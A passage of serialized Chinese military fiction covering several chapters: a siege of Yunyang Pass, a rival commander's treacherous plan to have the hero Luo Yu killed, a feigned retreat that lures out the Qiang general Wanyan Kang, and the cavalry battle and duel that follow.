“那就依李将军之言,让秦将军带兵攻城!”
几人的眼中都闪过一抹阴霾,唯独秦昭的嘴角勾起了笑容。
……
秋去冬来,寒风吹过西境边陲。
战鼓声、嘶吼声、搏杀声冲天而起,笼罩在云阳关的上空。
身为前锋主将的秦昭命令洛羽、霍连城分头进攻城北、城南,自己却按兵不动,美其名曰策应两翼,为两军压阵,以防不测。
城北
一架架攻城云梯架在城墙边缘,数不清的步卒正顺着云梯往上攀爬。
这几日洛羽派吕青云、余寒弓、徐松三尉兵马轮番攻城,他知道秦昭打的是什么心思,但他确实需要磨炼一下大军攻城的能力,攻就攻吧,没什么好说的。
今日负责攻城的恰好是徐松一尉,中年汉子持刀一挥,怒喝道:
“盾阵推进!攀城!”
“杀!”
箭矢如蝗,从城垛间倾泻而下。羌兵本就擅骑射,居高临下俯射更是箭术惊人。他身旁的一名年轻士兵刚举起盾牌,就被一支重**贯穿咽喉,闷哼着栽倒在地。
步卒顶着箭雨艰难地向前推进,大部分军卒在进攻时总给人一种畏畏缩缩的感觉。虽说经过萧少游多日操练,这些兵马勉强达到了依令而行的地步,可论悍勇程度依旧比不上其他四尉。
“妈的,不要畏手畏脚!”
徐松骂骂咧咧:
“弓**手掩护,给我往上冲!”
就在徐松焦急之际,几名壮硕的汉子越率先出人群,一手持盾,一手扶梯,箭步向上,有了他们带头,其余步卒总算鼓起些勇气,紧随其后登城。
徐松定睛一看,赫然是洛羽调派给他的那些什长、标长们。这几日他发现了一件事,但凡是洛羽派来的人,身上总带着一股子杀气,好像不怕死,比如刚刚他亲眼看到一名标长挨了一箭也没后退,依旧是纵身一跃飞入城头,与羌兵近身肉搏,直至被**。
“滚开,让老子来!”
坠落城头的死尸让徐松目光猩红,亲自带队冲锋。
他左手持盾护住头脸,右手苍刀格开一支流矢,眨眼间就冲到半城墙处,但身后传来一阵惨叫,一名军卒被滚油浇中,从梯子上翻滚坠落,惨不忍睹。
徐松没有回头,靴底踩在浸透鲜血的梯阶上,发出令人牙酸的黏腻声响,他几乎可以清晰看见城头羌兵狰狞的面庞。
“都尉小心!”
下方亲兵突然厉喝,徐松本能地侧身,巨大的滚石擦着他铠甲砸下,将身后两名士卒砸得骨肉碎裂。
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>碎石飞溅中,他感到左肩一阵微痛,原来有一支流失擦破了他的肩膀,顿时脚下一滑,顺着云梯滚了下去。得亏城下堆起了重重沙包,要不然这一下他就得摔死。
箭雨不断射落,徐松在地上连滚了好几圈,差点命丧当场。
“妈的,你不要命了。”
粗狂的吼声响起,一面盾牌挡在了他的上方,苍劲有力的大手拖着他撤到了安全地带。
“吕都尉,你怎么来了。”
徐松愕然,来人分明是吕青云,四周也涌出了更多的步卒。
“将军见你攻击不顺,派我相助。”
吕青云骂归骂,语气中却带着一股欣赏:
“没看出来啊,徐都尉也是条汉子!”
徐松舔了舔干裂的嘴唇:“好歹当初也是边军退下来的,总不至于是孬种吧?”
“哈哈哈,好样的!”
吕青云横握苍刀,目露狰狞:
“那今天我们就一起攻城,杀!”
“杀!”
城墙下战事熊熊,杀声不绝。
洛羽在阵后遥遥望向战场,目露诧异:
“这个徐松,比我想象的要能打一些,这年头敢亲自带兵攻城的将校可不多见。”
“否则又怎么会被鲍卿提拔成都尉呢。”
萧少游对徐松的底细更了解一些:
“鲍卿手下的几个都尉都是从边关带下来的心腹死忠,能力稀松平常,唯独徐松是宜城本地人,靠能力一步步走上来的,他可是鲍卿麾下最能打的那一个。”
“你挑人的眼光不错。”
洛羽目光微凝:
“可惜,云阳关太过坚固,光靠一身悍勇很难攻克城头啊,这几日的进攻很是不顺。”
“听说霍连城那边伤亡更大,攻城几日已经折损了近两百号士卒,让他心疼得不行。”
洛羽有些无奈:
“他干的是佣兵行当,一兵一卒都是辛辛苦苦拉起来的,如今死在最**的攻城战,不心疼才怪。”
“妈的,都是秦昭这个狗贼!”
蒙虎骂骂咧咧的声音回荡在耳边:
“让咱们两路兵马奋力攻城,他自己在后边看戏,我看他分明就是想消耗咱们的兵力!要我说当初就应该一刀剁了他!”
“行了,别囔囔了。”
连蒙虎都看出来的事,洛羽和萧少游岂会看不出:
“他是前锋主将,咱们不服从军令岂不落人口实?现在就当是以战代练了,先好好操练一下咱们的步卒。”
其实洛羽手下的骑兵步卒都能打,但是从未经历过大规模的攻城战,如今也是一次难得的练兵机会。
蒙虎垂头丧气地耷拉下脑袋,本还想反驳两句,一阵凄厉的号角声陡然回荡云霄:
“呜!”
“呜呜!”
被**多日的城门竟然自己开了,城内隐隐有马蹄声轰隆作响。
“不好,羌兵要反击!”
几人面色齐变,萧少游率先怒喝:
“全军后撤,准备迎战!”
第129章还是该杀了他啊
军帐中氛围一片低沉,烛火摇曳,映照出每个人阴晴不定的脸色。帐外寒风呼啸,夹杂着伤兵痛苦的呻吟声,更添几分凄凉。
陆铁山与李光业也闻讯而来,攻城七八日毫无进展不说,这次还被羌军打了一个反击,洛羽所部还好,可霍连城麾下的兵马折损不少,眼下他的总兵力已不足千人。
霍连城的右肩裹着厚厚的纱布,隐隐有血迹渗出,死盯着秦昭:
“羌兵出城反击,你为何不出兵增援?甚至还将军阵后移,到底是何居心?”
帐内的空气骤然凝固,所有人的目光都落在了秦昭身上。
“霍将军,谁说我不想出兵救援了?”
秦昭慢悠悠地说道:
“我将军阵后移就是为了迎战羌兵,羌兵皆是骑军,若阵型不齐如何迎战?只要你的兵马撤下来,本将军自会替你挡住羌军。”
说到这里他的嘴角甚至勾起一抹讥讽:
“谁让你那么不中用,刚跑到半路就被羌兵给围住了。”
“秦昭,你好生无耻!”
霍连城再也不掩饰心中的怒火,拍案而起:
“如此虚假的借口也想拿出来骗我?大家不是睁眼瞎,这几日攻城,你秦昭一兵一卒未出,全是我和洛将军在前死拼。
我看你分明就是想消耗我与洛将军的兵力,自己在后面等着摘桃子!
卑鄙无耻!”
“霍连城,你休要血口喷人!”
秦昭怒喝道:“本将军乃前锋主将,如何攻城心中自有分寸,还轮不到你在这指手画脚!”
“你有个屁的分寸!眼中只有私利!”
霍连城咬牙切齿地握紧拳头:“就因为你,我营中躺着三百多号兄弟的尸体,今日你若是不给我一个说法,我定要杀了你替兄弟们报仇!”
正如洛羽所言,他手下的佣兵都是这些年好不容易积攒起来的家底,一战就**这么多,换做谁不难受?
“放肆!”
秦昭当即扯起虎皮:
“两位帅爷都在此,岂容你胡来?难不成你还想**吗!”
“好了,别吵了!这里是军营,吵吵闹闹的成何体统?”
帐中**味十足,还是陆铁山的冷喝声止住了两人的争吵,霍连城抱拳弯腰:
“老将军,秦昭此人丝毫不顾战事进展,一心只顾保存实力,末将恳请立刻革其军职,治他畏战不前之罪!”
“霍连城。”
李光业的声音很突兀地响起,眼皮都没抬一下:
“这里是帅帐,我与陆将军皆坐在此,如何处置秦将军似乎还轮不到你做主吧?”
霍连城脸色一僵,升到嘴边的话硬生生地噎了回去,双眼喷火。秦昭甚至还嘲讽地挑了挑眉头。
“此次攻城大军小败一场,损兵折将,秦昭身为前锋主将确实应该担责。”
陆铁山若有深意地说道:
“李将军,若是一点惩罚都没有,只怕不能服众啊。”
“哎,老将军也说了只不过是一场小败,胜负乃兵家常事嘛。”
李光业漫不经心地说道:
“秦将军刚刚说得不无道理,羌骑骁勇善战,若不结阵迎敌恐会一触即溃,他做的并没有错。至于攻城,呵呵,秦将军总得留一支生力军以防不测嘛,可以理解。”
李光业摆明了要死保秦昭,怪不得秦昭入帐之后就是一副有恃无恐的样子。
“照你这么说,此事就算了?”
陆铁山隐隐有些不悦,如此明目张胆的袒护已经触及到老人的底线。
李光业呵呵笑道:
“怎么能算了呢,就让秦将军接着指挥攻城,给他个戴罪立功的机会吧。”
霍连城一阵气急,竟然还接着让他当前锋主将,这也算是惩罚?
“好了,此事就这么定了。”
李光业用不容置疑的口吻轻喝道:
“诸位将军各自回营休息吧,咱们来日再战!”
……
“这次霍连城吃了大亏啊。”
萧少游抱着膀子说道:
“他的兵力本就是最少的,此次又**三百多人,手底下可战之兵满打满算也就七八百了,只怕云阳关还没攻下来他的人就死光了。”
“秦昭的算盘可是放在明面上的,摆明了要消耗咱们两方的兵力。”
洛
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羽冷笑道:“李家也不是个好东西,一定是他在背后撑腰,否则秦昭不会这么大胆。”
“各部兵马看似都是李家召集地,实则也分亲疏远近。”
萧少游有条不紊地分析道:
“秦昭一向是李家的死忠,对李光业更是毕恭毕敬,唯命是从,算是亲儿子,咱们这些人顶多算是外面捡来的。
都知道攻城战最**命,李光业哪舍得拿自己的兵马去送死?只能坑我们?”
“上次放了他一马,本以为他会收敛一点,没想到刚当上前锋主将就开始报复,此人小肚鸡肠超乎了我的想象。”
洛羽冷冷的说道:
“若是任由他这般胡作非为,不止是霍连城,就连咱洛家军的兄弟也得尽数死在云阳关外,长此以往绝不是件好事。”
其实这些天洛羽军中怨言四起,倒不是说大家不愿攻城,只是看不惯秦昭按兵不动的样子,如此卑鄙之举令他们愤怒不已。
“领军之将全都心怀鬼胎,人人都有自己的小算盘,这样的兵马凑在一起怎么可能打胜仗?”
萧少游声音冰冷,看着帐外飘扬的各军旗号:
“咱们想要攻占云阳关,起码得先保证军权的集中、号令出于一统,否则一切都是虚妄之谈,像今天发生的事日后还会不断上演。”
“军权集中?”
“对!”
萧少游重重点头:“起码绝不容许有秦昭这种人存在!他**,李家就翻不起浪花,霍连城算不上和咱们穿一条裤子,但起码会听你的话,再加上陆老将军的鼎立支持,军中再无人可以针对咱们。
若非如此,咱们怎么安心攻打云阳关?”
“噢?”
洛羽轻笑一声:
“话里有话啊,难道你心中已经有了杀他的方法?”
那一日秦昭落入洛家军的包围,想杀确实可以杀,因为你可以借口秦昭死在羌兵的手里。但现在不行了,秦昭出入军营都带着不少随从,若是强行把他杀了那可是谋逆大罪。
“略有小计。”
萧少游的嘴角勾起一抹冷笑:
“足以送他上路。”
第130章我秦昭一言九鼎
“洛将军,听说你想出了破敌良策?那还不赶紧说来听听?”
陆铁山兴致勃勃,苍老的脸颊上浮现出些许笑容。
今天众将领又齐聚一堂,只不过这次是洛羽召集众人前来的,秦昭目光微寒,他倒要看看洛羽能说出什么破敌之策。
“诸位将军不要急,且听我慢慢道来。”
洛羽起身站在地图之前,手指云阳关:
“正如我们开战之前预料的一样,云阳关城高墙坚,地形险要,羌军又精通**,导致云阳关久攻不下。若是攻城战一直这么打下去,就算未来能破城而入,咱们也免不了死伤惨重,于大军不利。
依我之见,倒不如将羌兵引出城外,咱们在关外将其歼灭,如此,则坚城可破!”
“洛将军的话听起来有理,可未免把完颜康想得太简单了吧?”
秦昭冷冷笑道:
“他明知自己兵力处于劣势,怎么可能派大军出城?异想天开!”
“秦将军此言差矣。”
洛羽微微摇头,反问了一句:
“那前几日羌兵出城反击又是怎么回事?足以说明哪怕经历了黑水坡、二道梁两战,完颜康依旧没有把我们放在眼里,他始终觉得可以凭借精锐骑兵与我军一战!
西羌对我边军的轻视由来已久,一朝一夕间很难改变,这就是我们的机会!”
秦昭被噎住了,恨恨地瞪了他一眼不说话。
陆铁山开口道:
“虽说羌兵出城反击,但那也是背靠城墙而战,咱们重兵埋伏,敌军见势不妙依旧可以撤回城中,想要一举全歼羌兵精锐只怕很难做到。
除非,除非能将他的兵马吸引出来,远离城墙战斗。”
“老将军此言甚对!我就是要把完颜康引出来!”
洛羽的语调陡然拔高,手掌在地图上一指:
“大家请看地图,出了云阳关城北十几里有两座土坡,遥遥对望,名为小石坡,坡上皆是密林,视线极差,很适合用来放置伏兵。
可遣一支兵马攻城,引诱羌兵出城反击,然后大军佯败,引出羌兵一路逃到此地,而后伏兵大举杀出,趁势围歼羌贼!”
“不错,此计妙啊!”
李光业被勾起了兴趣,缓步走到地图旁:
“若是羌兵一路追击至此,那我们真能将其一举围而歼之,即使有些许残部逃脱,也能重创完颜康!如此云阳关守军兵力大减,破城而入指日可待!
只是,谁来诱敌呢?
诱敌这差事可不好做啊,做得好能将羌兵引入伏击圈,但若稍有差池,说不定会从诱敌变成溃逃,然后被羌兵全歼。
那咱们可就偷鸡不成蚀把米了。”
李光业到底是当主帅的,心思缜密,步卒在骑兵面前想要伪装出佯败之姿难如登天,到时候羌骑一冲,步卒一散,那佯败就成了大败!
帐中陷入了沉寂,大家都看得出诱敌的任务十分凶险。
“呵呵,既然是洛将军提出此计,倒不如就请洛将军率兵诱敌。”
秦昭意有所指地说道:
“完颜康对洛将军有滔天之恨,如果洛将军亲自诱敌,完颜康定会一时冲动大举出击!还有比洛将军更合适的人选吗?”
大家都看向了洛羽,秦昭说的话还真有道理,所谓仇人相见分外眼红,洛羽出马诱敌的效果一定比其他人要好。
“自然可以。”
洛羽似是有些不情不愿地应了下来,反问道:
“但谁在小石坡伏击羌军呢?”
“上一战霍将军损失惨重,麾下兵马折损不少,不宜出战。”
陆铁山看向了秦昭:
“伏击的任务就交给秦将军吧,上次李将军说给你一个戴罪立功的机会,眼下不就是最好的机会吗?此战若是打赢了,那可是大功一件啊。”
秦昭的脸皮僵了僵,脑筋在极速运转,他真不想和羌人死拼啊。
但这次他想躲也躲不过去,因为李光业也开口赞成:
“老将军的提议甚是妥当,秦将军手里有一千五百兵马,本将军再给你补五百精锐,你率领两千人埋伏在小石坡,待羌军进入包围圈就一举杀出!再加上洛将**身反击,三面夹攻!
此战必胜!”
“末将领命!”
李光业都开口了,秦昭只能领命,只不过他的眼眸中闪过几道异样的光芒。
“那就这么定了!”
陆铁山缓缓起身,朗声喝道:
“此战咱们只求一胜,不管完颜康派多少兵马出击,咱们都要将其一举歼灭!”
“诺!”
……
初冬的清晨寒风拂拂,天空中依旧笼罩着一片朦胧的黑幕,阳光还要等许久才能刺破云层。
前锋营中大批军卒
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整装待发,杀气缓缓升腾。
今天洛羽将要带两百亲兵,三尉步卒,上千人进攻云阳关北城墙,声势雄壮,既然是诱饵,那诱饵就得肥,否则怎么钓鱼儿上钩?
秦昭麾下兵马的规模格外庞大,有了李家五百精锐助阵之后他的底气就更足了些,笑呵呵地说道:
“洛将军,今日你我兄弟联手出战,定能大败羌兵!”
洛羽眉头微挑:
“希望秦将军这次能按时出击,别再弄出什么后撤迎敌的幺蛾子。”
秦昭神情肃穆,义正言辞:
“洛将军说的哪里话,上次算是秦某判断失误,但这次绝不会贻误战机。
此战关乎云阳关未来的战局,岂能儿戏?我就在小石坡等着羌军,只要这些贼人一冒头,我就全军杀出,将其一举歼灭!”
“果真吗?”
秦昭拍着胸脯说道:
“我秦昭一言九鼎,岂会有半句虚言!”
“君子一言!”
“驷马难追!”
秦昭猛的一抱拳:
“洛将军,那我就先走一步,在小石坡等你!”
“好!”
大批军卒在朦胧的夜色掩护下朝小石坡的方向赶去,霍连城虽然不需要出战,但还是出来送行,刚刚秦昭的一番话让他觉得浑身反胃,眉头紧皱:
“洛将军,恕在下直言,秦昭这人的嘴巴里没有一句真话,我总觉得此战要出事。万一你领兵撤至小石坡,秦昭一兵一卒未出,那后果不堪设想啊。”
“会吗?”
洛羽眉头微挑:
“此次陆老将军和李将军可是给他下了死命令的,难道他连两位帅爷的军令都敢违抗?”
“不怕一万,就怕万一。洛兄多次出手相助,我霍连城岂能视你深入险境?”
霍连城忧心忡忡地说道:
“要我说还是多加点小心吧,实在不行我陪洛兄同去!”
“哈哈,霍兄的好意我心领了,但你麾下兵马急需休整,还是留守军营吧。”
洛羽大笑一声:
“放心,此战必是我乾军大胜!”
洛羽的自信让霍连城很是无奈,只能一抱拳:
“那就祝洛将军旗开得胜!”
“多谢!”
洛羽抬眸远望,不知道是在对谁说话,声音细若游丝:
“生路还是死路,就由你自己选了。”
第131章好想看你绝望的表情
“大军进攻!”
“**手放箭,给我杀!”
“杀啊!”
云阳关城北
战事平息了几天后乾军再至,数不清的云梯再次搭上云阳关墙头,箭矢如蝗虫般在空中飞舞,吼声鼎沸,他们的攻势似乎比之前还要浩大得多。
往常也就三五百步卒发起进攻,今日足有上千兵马出现在云阳关外,旌旗蔽野,战鼓喧天。吕青云、余寒弓、徐松三尉兵马你方唱罢我登场,轮番进攻城头,从清晨至正午一刻不停,大有不攻下城头誓不罢休的意思。
“将军,要不您去城下避一避吧,这里太过危险,万一有流矢伤着您可怎么办啊。”
“是啊,城头上有咱们盯着,定不会出差错。”
几名副将在完颜康身边苦苦相劝,好说歹说他也不肯挪动脚步。
“慌什么,能杀本将军的人还没生出来呢。”
完颜康板着脸道:“睁大你们的眼睛仔细瞧瞧,不觉得乾军今日的排兵布阵很奇怪吗?”
“奇怪?哪里奇怪?”
几**眼瞪小眼,看了半天也没看出个所以然来。
“乾军今日看起来声势浩大,箭雨密集,但实际上攀城的猛烈程度远不及前几日。你们想想,前几日攻城的时候是不是经常有悍勇拼死登城,不顾一切跃上城头与我军近身肉搏,但今日一个也没见到。
为什么?”
“对哦,怎么回事?难道说乾军已经被咱们打怕了?”
“蠢货!他们若是怕了为何还要攻城?”
完颜康怒其不争的瞪着眼:
“几天前我们出城反击,杀了他们一个措手不及,按理说他们就算要攻城也该派大队骑兵压阵才对。但你们看,步卒后方只有区区两三百骑卒,这么点兵马也能压阵?”
完颜康的话总算让众人意识到不对劲了:
“将军,您的意思是乾军有诈?”
“没诈才有鬼。”
完颜康冷笑一声:“今日领兵的是谁?”
“军中皆举洛字旗,想来应该是洛羽的兵马,但不知道此人在不在军中。”
“完颜康,你这个狗贼,有种就出城与本将一战!待在城里做缩头乌龟算什么本事!”
“待小爷我杀进城中,定要亲手砍下你的人头,祭奠云阳关死去的将士们!”
城下陡然响起了一阵怒骂声,众人纷纷望去,只见一面洛字将旗在寒风中高高飘扬,猎猎作响。
洛羽策马扬鞭,率领亲卫亲临阵前督战,一条条军令不断下达:
“盾阵向前,**手掩护,给我放箭!”
“所有人都给我攻城,畏战者死!”
“今日咱们就要用完颜康的人头祭奠同袍的英灵!给我杀!”
回荡不绝的骂声令羌将群情激奋,脸色气得通红:
“妈的,洛羽小儿太过放肆,将军!卑职**,立刻带兵出城砍下他的人头!”
“不急,区区激将法而已。”
完颜康不怒反笑:“这么点小伎俩也想逃过本将军的眼睛?”
“激将法?”
众人目光皆变:“将军的意思是,洛羽故意要激我们出城?”
“一定是!而且他们阴谋不小,否则怎么会让洛羽出马当诱饵呢?”
完颜康嘴角挂着冷笑,眼眸中闪烁着睿智的光芒。
“将军,那咱们该当如何?闭门不出吗?”
“出,当然要出,遣三百骑军出城,试试乾军的动向!”
“咚咚咚!”
漫天鼓声回荡在云阳关的上空,鼓声一响便是城门大开。三百羌骑如前几日一样从城中冲杀出来,气势汹汹地想要将攻城步卒踏为肉泥。
羌骑一出动,乾军就像是约好了的一般,头也不回地就跑了。洛羽亲帅两百亲卫阻拦羌骑,大战一场,一直拖到步卒远去才撤出战场。
城门外遗弃了大片的军旗、兵器,乾军像是吃了一场大败,上千军卒在骑兵的掩护下一路往北奔逃,略显慌乱。
而城外所发生的一切都落入了完颜康的视线中。
“将军,他们跑了,咱们追不追?”
“乾军都往北撤了。”
完颜康眉头紧皱,脑海中在拼命的思考:
“若是我没记错的话,城北二三十里外应该有一片山坡密林吧,名为小石坡,地势还算险要。”
“将军果然是好记性,确实有这么一片地方,您是怀疑敌军要在这里布置伏击?”
偏将犹犹豫豫地劝说道:
“若是担心乾军有埋伏,咱们倒不如按兵不动,反而安全。”
“如此天赐良机,岂能按兵不动?”
完颜康的脸上满是狞笑:
“点齐两千精锐,本将今日要亲自出马!”
……
小石坡
正如洛羽描述的那样,此地中间是一条还算宽阔的道路,两侧乃微微隆起的土坡,坡上丛林密布,枯树灌木随处可见,视野极差,根本看不清林中的情况。
按照计划,洛羽将会带着
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佯败溃退的军卒从坡下山路通过,羌兵一路追击至此,秦昭率兵从两翼大举杀出,然后三路兵马合围,一鼓作气将羌军吃掉。
计划很完美,但此时此刻的密林中安静无比,根本看不见一名军卒的身影。
秦昭在哪?
他没有进入小石坡,而是往后退了五里地。
整整两千军卒就坐在黄沙地中休养生息,百无聊赖,有的人甚至已经开始打瞌睡,身为主将的秦昭则驻足远眺,望向小石坡的方向,嘴角都快裂开花了。
秦昭的得力心腹大步走来,躬身抱拳:
“将军,云阳关那边有消息了,洛羽刚刚战败,正朝着小石坡赶来。而且羌兵的追兵也出城了,似乎是主将完颜康亲自领军。
卑职已经按照您的吩咐用碎石和树桩将小石坡中间的那条路给堵了起来,保证洛羽的兵马一个也跑不过去。”
“啧啧,很好。”
秦昭阴笑出声:
“待会儿前路被堵,后有羌兵追击,洛羽就是必死无疑了,哈哈哈!”
“咳咳,将军,这么做合适吗?”
心腹小心翼翼地问道:
“李将军可有言在前,此战务必取胜,否则咱们统统得治罪,咱们这么做万一李将军怪罪下来……”
“没错,李将军有军令,此战务必取胜,可他没说洛羽不能死啊?”
秦昭目露阴狠:
“洛羽麾下兵马骁勇异常,若发现前路被堵一定会和羌兵血战!等完颜康与洛羽拼个你死我活的时候,本将军再率兵杀出!
到时候洛羽死在羌人手里,本将军阵斩完颜康,拿下一场大胜,岂不是两全其美之计?”
“将军果然高明,卑职佩服!”
心腹赶忙露出一抹谄媚的笑容,不停地拍着马屁。
“哈哈,小手段罢了,想要玩死一个乳臭小儿还不简单?”
秦昭浑身舒畅,砸吧着嘴:
“啧啧,我是真想看看待会儿洛羽会露出何等绝望的表情。”
“隆隆!”
“轰隆隆!”
秦昭的笑声还未落下,众人身后就响起了阵阵低沉的马蹄声,脚下黄沙不断跃动、颤抖,仿佛有什么可怕的事情即将来临。
所有军卒都惊恐不安地站了起来,目视前方,数不清的黑点陡然跃出地平线,奔腾的战马踏让大地渐渐轰鸣,一面硕大的军旗迎风而立:
“完颜!”
秦昭脸色煞白,瞳孔骤缩:
“怎么可能!”
第132章千骑踏黄沙
“轰隆隆!”
厚重有力的马蹄每一下都像是踏在了秦昭的心头上,令他肝胆俱裂开,羌兵兴奋中带着残忍的吼叫更是让他绝望。
“怎么可能,怎么会是完颜康?”
他傻了。
他想不通羌兵为何会出现在自己的侧翼而不是小石坡,也想不通洛羽的兵马怎么迟迟没有出现。
他不是应该坐山观虎斗,坐收渔翁利的吗?
“将,将军,怎么办啊!”
心腹颤抖的嗓音表达了内心的恐慌,脸色白得像是抹了胭脂粉。
“迎战!迎战啊!”
陡然回过神的秦昭哆嗦着拔出长剑嘶吼道:
“快!向前结阵!准备迎战!”
他很清楚,这种空旷的地形下绝无逃跑的可能,殊死一搏或许还能有一线生机。
可两千兵马刚刚还躺在地上打趣聊天说着荤段子,怎么可能迅速列阵呢?再加上两千羌骑冲锋的场面实在吓人,仗还没开始打,队伍中就有人吓得双腿发抖。
“果然有伏兵,啧啧,真当本将军是傻子?”
威风凛凛的将旗之下,完颜康面带冷笑,悬在虚空中的手掌狠狠挥落:
“放箭!”
“嗖嗖嗖!”
羌骑极为娴熟地泼洒出一波波箭雨,宛如蝗虫侵蚀,铺天盖地。
箭雨落下的那一刻惨叫声响彻平原,数不清的秦家军卒哀嚎着倒在血泊中,哭爹喊娘。
羌兵太擅长这种以骑对步的战斗了,绕着战场游弋两圈,先靠箭矢大量杀敌,再一冲而入!
“完,完了。”
手持长剑的秦昭目光绝望,眼睁睁地看着羌骑摧枯拉朽地冲垮己方防线却无能为力。
得力心腹拼命地扯动秦昭的肩膀:
“将军,咱们撤吧!我军已败,再不走就只有死路……”
“嗖!”
“噗嗤!”
一支利箭陡然从背后射来,笔直贯穿此人的头颅,当场见了阎王。
温热的鲜血溅了秦昭一脸,嗓音被吓得失声:
“撤!快撤!”
……
雄壮的马蹄一次次践踏着血肉模糊的尸体、锋利的弯刀不断割去大乾军卒的人头。
短短半个时辰,距离小石坡五里之遥的无名沙地就变成了人间地狱。
随处可见鲜血淋漓的死尸、随处可见奔逃中的军卒被羌兵肆意**。
完颜康驻马战场边缘,马蹄踩踏着一面血淋淋的“秦”字军旗,嘴角勾起一抹残忍的笑容:
“想伏击本将军,你还是太嫩了一点。”
从今早攻城一开始他就觉得乾军有诈,当他看到洛羽毫不犹豫地带兵往小石坡撤的时候他就猜出来此地有埋伏。
所以两千羌骑一出城没有追击逃兵,而是兜出一个巨大的弧线,直插小石坡侧翼,果然迎面撞上了埋伏在这里的秦昭。
一名偏将策马而来,抱拳喝道:
“将军,埋伏在此地的应该是秦昭的兵马,可惜没见到此贼,末将已经派人去找了。”
“无妨,区区一个秦昭本将军还不放在眼里。”
完颜康无所谓地摆摆手:
“我更在意的是洛羽,算算时间他应该撤到小石坡了,人来了吗?”
羌兵清一色的野战骑军,洛羽麾下那么多步卒,怎么算都会比他来得慢。完颜康的算盘打得极好,先歼灭伏兵,回过头来再去杀洛羽。
“额,还没有。”
副将摇了摇头,苦笑一声:“一个鬼影都没看见,不知道跑哪儿去了。”
“没人?怎么可能,不应该啊。”
完颜康的眉头骤然一紧,凝眉沉思了许久豁然抬头:
“该不会……”
“隆隆!”
“轰隆隆!”
低沉而又轰鸣的马蹄声骤然回响,掩盖了战场上的哀嚎与惨叫。
一望无际的黑甲骑军跃出地平线,玄底“洛”字旗迎风而立,映入所有人的眼帘。
“王八蛋,中计了!”
完颜康脸上的风轻云淡终于变成了气急败坏:
“好狠的心计,竟然用数千军卒的命为诱饵!”
“全军集结!迎战!”
到底是领军主将,在经历过片刻的慌乱后完颜康尽可能地集结起麾下骑兵,正面迎战!
双方骑军在宽阔的平原上策马奔腾,展开对冲,洛家军阵型严整,羌兵则显得尤为混乱,毕竟刚刚经历过一场大战。
不过光看兵力还是羌兵更胜一筹,洛羽麾下满打满算只能拿出千余精骑。
“我还以为多大的手笔,原来就这么点兵马,就让本将军瞧瞧,名震边关的洛城主到底有多大本事!”
语气中虽然带着不屑,可完颜康的眼神却无比凝重。
因为对面的骑军没有喧嚣、没有怒吼,只有一种极度压抑的沉默,无声前冲,唯有马蹄声冲天而起。
这种沉默让所有羌兵都感受到一股窒息感,压得人
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心头喘不过气来。
所有洛家军卒在前冲途中都会用余光扫一眼矗立在最前方的“洛”字军旗,他们知道,自己的主将在那,领着他们冲锋。
这一刻,再多的恐惧和不安也会转换成杀意与勇气。
两军相隔数十大步,洛家骑军骤然提速,一杆杆**笔直冲前。
“杀!”
一声怒吼响彻云霄!
两军撞阵!
战马相撞的嘶鸣、**入体的沉闷、鲜血飞溅的恐怖交织辉映,战争的残酷在这一刻彰显得淋漓尽致。
洛羽纵马突入敌阵,黑甲在阳光的映衬下泛着冷冽寒光。
枪出如龙,当先贯穿了一名羌骑的胸膛,每一次突刺都带起一蓬血雨。
三名羌骑迎面冲来,弯刀封锁了左右两翼所有的空间。
只见他猛夹马腹,战马人立而起,前蹄狠狠踹碎当先敌骑的胸骨,枪尖顺势下劈,将左侧敌兵连人带甲劈成两半。
右手闪电般拔出佩刀,寒芒闪过,第三颗头颅已飞上半空。
短短片刻,四名羌骑已然成了洛羽的枪下亡魂。
“死吧!该死的乾人!”
劲风陡然从侧边袭来,一名羌骑打算趁着洛羽不备来个偷袭,面目狰狞。
“噗嗤!”
“扑通!”
还不等他的**刺出,锋利的枪尖就狠狠地捅入他的胸口,连人带马被撞飞出老远。
羌兵在临死前绝望地看了一眼,小伍冰冷又残酷的面庞令他如坠冰窖。
小伍与许韦身为洛羽亲卫,怎么可能允许主帅被偷袭?
两百亲兵尉打头,以洛羽为首,一名名精锐老卒悍不畏死地凿阵冲杀,一点点撕裂羌兵的前排锋线。
然后是蒙虎居中冲阵,一排排**迭出,蓄力、出枪、收招一气呵成,羌骑不断被捅穿下马,血洒当场,愣是打出了虎入羊群的气势。
董川断后,扩大战果,在羌兵仅剩的完整锋线上狠狠捅了一刀,彻底打垮了羌军的阵型。
三波猛冲,气势如虹。
“怎么可能!”
在阵中冲杀的完颜康几乎不敢相信自己的眼睛,一向自诩为骑战天下无双的羌骑何时连乾军都打不过了?
要知道大乾边军积病已久,曾经彻底沦为了羌骑刷战功的人头。
“完颜将军,我们又见面了。”
洛羽冰冷的嗓音陡然回荡在他的耳畔:
“今日就送你去见完颜昌!”
第133章三路伏兵尽出
“洛羽!你这个奸贼!”
“竟敢用如此奸计骗我上钩!”
完颜康暴怒无比,横手就是一枪砸了过来:
“今日我就要替兄长报仇!”
“喝!”
“铛!”
洛羽抬枪一挡,两根枪杆在半空中重重一撞,两人手臂猛地一颤,足见对拼力道之强。
“好枪法。”完颜康舔了舔干裂的嘴唇:
“能名震阙州的洛城主果然有两把刷子,再来!”
“怕你不成!”
“喝!”
混乱的战场中两匹战马不断交错,鬃**在风中舞动,枪影纷飞,两军主帅大打出手。
洛羽眼中精光暴涨,手中银枪在阳光下划出一道冷冽的弧线。只见他身体微微前倾,枪尖斜指地面,起手便滑向完颜康的胸膛。
“雕虫小技!”
完颜康狞笑着将**抡圆,枪杆绕着腰间一转,突然如毒蛇般刺出,直取洛羽咽喉。
“铛!”
两杆**在半空相撞,火星四溅。洛羽手腕一抖,枪尖顺着对方枪杆滑下,看似是要压枪抢手,实际上却在完颜康注意力被吸引之际陡然上挑,直击完颜康的下颌。
变招奇快,令人猝不及防,完颜康急忙后仰,枪尖擦着他的铁盔掠过,带起一串刺耳的金属摩擦声,惊得完颜康冷汗直冒,差点没坐稳栽下马背。
“妈的!”
被洛羽摆了一道,完颜康暴怒无比,一夹马腹骤然前冲,势大力沉的一枪笔直砸向洛羽。洛羽不慌不忙,腰身微微一扭,灵巧地横移数存,枪尖刚刚擦着腋下钻了出去,迅捷无比。
就在**滑过的一刹那,洛羽猛地一夹,胳膊死死夹紧**,右手顺势抽出苍刀,当头劈向了完颜康的脑袋。
完颜康的脸色豁然大变,忙不迭地想要抽枪格挡,可枪杆早就被洛羽夹住,动弹不得。情急之下他只能扭身闪避,但依旧慢了一拍,刀锋滑过胸口,正中右肩。
“嗤!”
一阵剧痛瞬间袭遍全身,鲜血顺着肩膀不断下流,完颜康的额头上满是冷汗:
“洛城主果然厉害,本将军还真是小瞧你了。”
